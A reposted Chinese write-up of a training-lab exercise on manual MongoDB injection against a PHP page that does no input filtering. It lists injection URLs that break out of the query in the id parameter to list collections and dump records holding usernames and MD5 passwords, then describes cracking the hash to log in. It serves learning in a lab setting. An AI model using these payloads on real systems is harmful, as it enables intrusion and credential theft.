NOSQL MongoDB 注入——本质上还是和sql注入是类似的
Posted 将者,智、信、仁、勇、严也。
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了NOSQL MongoDB 注入——本质上还是和sql注入是类似的相关的知识,希望对你有一定的参考价值。
墨者学院 - SQL手工注入漏洞测试(MongoDB数据库)
SQL手工注入漏洞测试(MongoDB数据库)
背景介绍
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境nginx+php+MongoDB,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
附上源代码截图:
实训目标
1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解MongoDB的数据结构;
4.了解字符串的MD5加解密;
解题
手工进行SQL注入测试,获取管理密码登录。
# 查看是否有注入点
http://ip/new_list.php?id=1\'
# 想办法闭合语句,查看所有集合
# db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写
http://ip/new_list.php?id=1\'}); return ({title:tojson(db.getCollectionNames()),2:\'1
类似语句:
select SCHEMA_NAME from information_schema.SCHEMATA
# 查看Authority_confidential集合的第一条数据
http://ip/new_list.php?id=1\'}); return ({title:tojson(db.Authority_confidential.find()[0]),2:\'1
类似语句:
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=\'Authority_confidential\'
# 查看Authority_confidential集合的第二条数据
http://ip/new_list.php?id=1\'}); return ({title:tojson(db.Authority_confidential.find()[1]),2:\'1
得到用户名密码,密码用md5解密
登陆,获得key
以上是关于NOSQL MongoDB 注入——本质上还是和sql注入是类似的的主要内容,如果未能解决你的问题,请参考以下文章